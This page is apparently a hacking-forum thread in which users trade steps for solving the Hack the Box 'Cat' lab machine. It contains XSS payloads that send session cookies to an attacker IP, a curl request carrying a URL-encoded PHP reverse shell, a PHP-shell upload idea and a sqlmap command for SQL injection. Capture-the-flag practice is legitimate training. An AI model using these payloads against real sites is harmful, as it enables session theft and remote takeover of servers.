Cat Hack the Box Season 7 (Linux medium)
by RedBlock - Saturday February 1, 2025 at 02:47 PM
#21
you have to submit a cat for registration and then when the admin views, you'll get a ping back. I used this username: <script>fetch("http://10.10.14.148:8000/?cookie="+btoa(document.cookie))</script>
Reply
#22
Anyone got any further after logging as the user "axel"?
Reply
#23
(02-01-2025, 08:44 PM)Steward Wrote:
(02-01-2025, 08:35 PM)Test09 Wrote: <script>document.location='<http://10.10.x.x/?c='+document.cookie;</script> Xss in your username, you need to send request in the contest with random data

I registered user with the name
<script>document.location='http://10.10.14.14/?c='+document.cookie;</script>
and common password
and then was able to login as this user and contest valid cat.

so if no callback hence something wrong with the instance, or I missed some step?

There is a clean up script, do it fast
Ban reason: Leeching. (Permanent)
Reply
#24
There's an angle with the accept_cat.php script.

There's an unsafe query in there, but also it lets you put a cat name in and somehow on winner.php it's including a file from a directory that's precompiled somewhere else.

I've tried:
curl -X POST "http://cat.htb/accept_cat.php" -H "Cookie: PHPSESSID=3jopd0d3o53l1eu70kfm6aslu2" -d "catId=6969" -d 'catName=%3C%3Fphp%20%24sock%3Dfsockopen%28%2210.10.14.148%22%2C9001%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%20%3F%3E'


to no avail.
Reply
#25
reset works well. after login as admin we can accept/reject cats other players send.
but nothing more. so the next step is sql injection, it seems accept_cat.php is for that , now it should work because we have valid cookies
Reply
#26
there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information
Reply
#27
(02-01-2025, 09:15 PM)yokishnakitash Wrote: there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT
Reply
#28
The file upload checks look weak, so phpshell with magic header and a crafted name, then sqli on admin.php to leak filename -> shell?
Reply
#29
(02-01-2025, 09:18 PM)jsvensson Wrote:
(02-01-2025, 09:15 PM)yokishnakitash Wrote: there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

nah it just worked for some reason

sqlmap -r accept-cat-sqli-req -p catName --dbms sqlite --level 5 --risk 3 --technique=BEST --tables

(02-01-2025, 09:18 PM)jsvensson Wrote:
(02-01-2025, 09:15 PM)yokishnakitash Wrote: there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

also u can use stacked queries with some blind payloads if u want to exploit the manual way
Reply
#30
(02-01-2025, 09:20 PM)yokishnakitash Wrote:
(02-01-2025, 09:18 PM)jsvensson Wrote:
(02-01-2025, 09:15 PM)yokishnakitash Wrote: there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

nah it just worked for some reason

sqlmap -r accept-cat-sqli-req -p catName --dbms sqlite --level 5 --risk 3 --technique=BEST --tables

(02-01-2025, 09:18 PM)jsvensson Wrote:
(02-01-2025, 09:15 PM)yokishnakitash Wrote: there is sqli in the accept cat action, parameter catName
however sqlmap cant retrieve database information

Can't retrive - it doesn't have SELECT in code but INSERT

also u can use stacked queries with some blind payloads if u want to exploit the manual way

thanks good to know Smile
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How to Hack WiFi password Using PMKID Apvu 11 10,985 1 hour ago
Last Post: heartmiller0
  HTB Eloquia User and Root Flags - Insane Box 69646B 16 30,173 09-24-2026, 06:01 AM
Last Post: retr0z
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 27 32,196 09-14-2026, 03:33 PM
Last Post: kechi
  HTB - ARTIFICIAL.HTB - EASY LINUX chain 0 22,205 02-10-2026, 02:12 PM
Last Post: chain
  HTB - VOLEUR.HTB - MEDIUM WINDOWS chain 1 15,932 02-09-2026, 07:07 PM
Last Post: 403Forbidden



 Users browsing this thread: 1 Guest(s)